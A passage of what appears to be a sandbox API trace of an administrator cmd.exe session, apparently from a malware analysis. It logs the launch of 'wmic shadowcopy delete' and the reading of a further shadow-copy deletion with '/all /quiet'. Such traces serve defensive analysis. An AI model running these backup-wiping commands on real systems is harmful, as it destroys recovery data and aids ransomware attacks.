lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0xffffffffffffffff [0267.318] GetLastError () returned 0x2 [0267.318] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0xffffffffffffffff [0267.319] GetLastError () returned 0x2 [0267.319] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0267.319] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0xffffffffffffffff [0267.319] GetLastError () returned 0x2 [0267.319] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0xffffffffffffffff [0267.319] GetLastError () returned 0x2 [0267.319] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0267.319] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0xffffffffffffffff [0267.319] GetLastError () returned 0x2 [0267.320] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0xffffffffffffffff [0267.320] GetLastError () returned 0x2 [0267.320] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0267.320] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0x285c80 [0267.320] FindClose (in: hFindFile=0x285c80 | out: hFindFile=0x285c80) returned 1 [0267.320] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0xffffffffffffffff [0267.320] GetLastError () returned 0x2 [0267.320] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0x285c80 [0267.320] FindClose (in: hFindFile=0x285c80 | out: hFindFile=0x285c80) returned 1 [0267.321] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0267.321] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0267.321] GetConsoleTitleW (in: lpConsoleTitle=0x14f000, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0267.321] GetProcessHeap () returned 0x270000 [0267.321] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x21c) returned 0x271380 [0267.321] GetConsoleTitleW (in: lpConsoleTitle=0x271390, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0267.321] GetProcessHeap () returned 0x270000 [0267.321] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x271380, Size=0xa6) returned 0x271380 [0267.321] GetProcessHeap () returned 0x270000 [0267.321] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x271380) returned 0xa6 [0267.321] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - wmic shadowcopy delete") returned 1 [0267.322] GetProcessHeap () returned 0x270000 [0267.322] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x271380 | out: hHeap=0x270000) returned 1 [0267.322] InitializeProcThreadAttributeList (in: lpAttributeList=0x14edb8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14ed78 | out: lpAttributeList=0x14edb8, lpSize=0x14ed78) returned 1 [0267.322] UpdateProcThreadAttribute (in: lpAttributeList=0x14edb8, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ed68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14edb8, lpPreviousValue=0x0) returned 1 [0267.322] GetStartupInfoW (in: lpStartupInfo=0x14eed0 | out: lpStartupInfo=0x14eed0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb0, hStdOutput=0xbc, hStdError=0xbc)) [0267.322] GetProcessHeap () returned 0x270000 [0267.322] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x20) returned 0x284640 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0267.322] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0267.323] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0267.323] GetProcessHeap () returned 0x270000 [0267.323] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284640 | out: hHeap=0x270000) returned 1 [0267.323] GetProcessHeap () returned 0x270000 [0267.323] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x12) returned 0x288900 [0267.323] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x14edf0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic shadowcopy delete", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14eda0 | out: lpCommandLine="wmic shadowcopy delete", lpProcessInformation=0x14eda0*(hProcess=0x50, hThread=0x54, dwProcessId=0x500, dwThreadId=0x6d8)) returned 1 [0267.334] CloseHandle (hObject=0x54) returned 1 [0267.335] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0267.335] GetProcessHeap () returned 0x270000 [0267.335] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28f370 | out: hHeap=0x270000) returned 1 [0267.335] GetEnvironmentStringsW () returned 0x28b240* [0267.335] GetProcessHeap () returned 0x270000 [0267.335] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaea) returned 0x288980 [0267.335] FreeEnvironmentStringsW (penv=0x28b240) returned 1 [0267.335] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e6a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e6a8, ReturnLength=0x0) returned 0x0 [0267.335] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd6000, lpBuffer=0x14e6e0, nSize=0x380, lpNumberOfBytesRead=0x14e6a0 | out: lpBuffer=0x14e6e0*, lpNumberOfBytesRead=0x14e6a0*=0x380) returned 1 [0267.335] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0279.167] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ece8 | out: lpExitCode=0x14ece8*=0x0) returned 1 [0279.167] CloseHandle (hObject=0x50) returned 1 [0279.167] _vsnwprintf (in: _Buffer=0x14ef58, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ecf8 | out: _Buffer="00000000") returned 8 [0279.167] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0279.167] GetProcessHeap () returned 0x270000 [0279.167] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288980 | out: hHeap=0x270000) returned 1 [0279.167] GetEnvironmentStringsW () returned 0x28b240* [0279.167] GetProcessHeap () returned 0x270000 [0279.167] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaea) returned 0x288980 [0279.167] FreeEnvironmentStringsW (penv=0x28b240) returned 1 [0279.167] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0279.167] GetProcessHeap () returned 0x270000 [0279.167] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288980 | out: hHeap=0x270000) returned 1 [0279.167] GetEnvironmentStringsW () returned 0x28b240* [0279.167] GetProcessHeap () returned 0x270000 [0279.167] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaea) returned 0x288980 [0279.167] FreeEnvironmentStringsW (penv=0x28b240) returned 1 [0279.167] GetProcessHeap () returned 0x270000 [0279.167] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288900 | out: hHeap=0x270000) returned 1 [0279.167] DeleteProcThreadAttributeList (in: lpAttributeList=0x14edb8 | out: lpAttributeList=0x14edb8) [0279.167] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0279.168] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.168] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0 [0279.168] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.168] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0279.168] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.168] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0279.169] GetConsoleOutputCP () returned 0x1b5 [0279.169] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0279.169] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0279.169] GetProcessHeap () returned 0x270000 [0279.169] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289d00 | out: hHeap=0x270000) returned 1 [0279.169] GetProcessHeap () returned 0x270000 [0279.169] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289be0 | out: hHeap=0x270000) returned 1 [0279.169] GetProcessHeap () returned 0x270000 [0279.169] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285b70 | out: hHeap=0x270000) returned 1 [0279.169] GetProcessHeap () returned 0x270000 [0279.169] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x271320 | out: hHeap=0x270000) returned 1 [0279.169] GetProcessHeap () returned 0x270000 [0279.169] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28fea0 | out: hHeap=0x270000) returned 1 [0279.169] GetProcessHeap () returned 0x270000 [0279.169] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28aa10 | out: hHeap=0x270000) returned 1 [0279.169] GetProcessHeap () returned 0x270000 [0279.169] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x286510 | out: hHeap=0x270000) returned 1 [0279.169] GetProcessHeap () returned 0x270000 [0279.169] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284610 | out: hHeap=0x270000) returned 1 [0279.169] GetProcessHeap () returned 0x270000 [0279.169] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2897c0 | out: hHeap=0x270000) returned 1 [0279.170] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f218 | out: _Buffer="\r\n") returned 2 [0279.170] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.170] GetFileType (hFile=0xbc) returned 0x3 [0279.170] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0279.170] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f1e8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f1e8*=0x2, lpOverlapped=0x0) returned 1 [0279.170] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0279.170] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0279.170] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f228 | out: _Buffer="C:\\Windows\\system32") returned 19 [0279.170] _vsnwprintf (in: _Buffer=0x49f8eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x14f228 | out: _Buffer=">") returned 1 [0279.170] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.170] GetFileType (hFile=0xbc) returned 0x3 [0279.170] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0279.170] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x14f218, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f218*=0x14, lpOverlapped=0x0) returned 1 [0279.170] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.170] GetFileType (hFile=0xb0) returned 0x3 [0279.170] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.170] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.170] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.171] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="bmic shadowcopy delete\n /all /quiet\n") returned 1 [0279.171] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.171] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.171] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.171] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="cic shadowcopy delete\n /all /quiet\n") returned 1 [0279.171] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.171] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.171] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.171] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr="dc shadowcopy delete\n /all /quiet\n") returned 1 [0279.171] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.171] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.171] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.171] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="e shadowcopy delete\n /all /quiet\n") returned 1 [0279.171] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.171] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.172] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.172] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="dshadowcopy delete\n /all /quiet\n") returned 1 [0279.172] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.172] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.172] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.172] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="ihadowcopy delete\n /all /quiet\n") returned 1 [0279.172] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.172] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.172] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.172] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="tadowcopy delete\n /all /quiet\n") returned 1 [0279.172] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.172] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.172] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.172] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr=" dowcopy delete\n /all /quiet\n") returned 1 [0279.172] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.172] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.172] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.172] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="/owcopy delete\n /all /quiet\n") returned 1 [0279.172] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.172] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.172] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.172] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr="swcopy delete\n /all /quiet\n") returned 1 [0279.172] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.173] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.173] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.173] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="ecopy delete\n /all /quiet\n") returned 1 [0279.173] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.173] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.173] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.173] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="topy delete\n /all /quiet\n") returned 1 [0279.173] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.173] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.173] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.173] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr=" py delete\n /all /quiet\n") returned 1 [0279.173] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.173] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.173] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.173] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, 